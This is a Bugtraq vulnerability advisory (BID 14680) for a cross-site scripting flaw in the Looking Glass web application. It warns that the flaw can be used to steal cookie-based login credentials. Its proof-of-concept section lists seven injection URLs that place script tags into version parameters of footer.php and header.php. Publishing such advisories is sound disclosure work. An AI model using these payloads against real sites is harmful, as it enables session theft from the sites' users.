Looking Glass Cross-Site Scripting Vulnerability

BID:14680

Info

Looking Glass Cross-Site Scripting Vulnerability

Bugtraq ID: 14680
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 27 2005 12:00AM
Updated: Aug 27 2005 12:00AM
Credit: Discovery is credited to rgod <[email protected]>.
Vulnerable: Looking Glass Looking Glass
Not Vulnerable:

Discussion

Looking Glass Cross-Site Scripting Vulnerability

Looking Glass is prone to a cross-site scripting vulnerability.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the software. Other attacks are also possible.

Exploit / POC

Looking Glass Cross-Site Scripting Vulnerability

An exploit is not required.

The following proof of concept examples are available:
http://www.example.com/[path]/footer.php?version[fullname]=</a><script>alert('lol')</script>
http://www.example.com/[path]/footer.php?version[homepage]="><script>alert('lol')</script>
http://www.example.com/[path]/footer.php?version[no]=<script>alert('lol')</script>
http://www.example.com/[path]/header.php?version[fullname]=<script>alert('lol')</script>
http://www.example.com/[path]/header.php?version[no]=</title><script>alert('lol')</script>
http://www.example.com/[path]/header.php?version[author]=--><script>alert('lol')</script>
http://www.example.com/[path]/header.php?version[email]=--><script>alert('lol')</script>

Solution / Fix

Looking Glass Cross-Site Scripting Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Looking Glass Cross-Site Scripting Vulnerability

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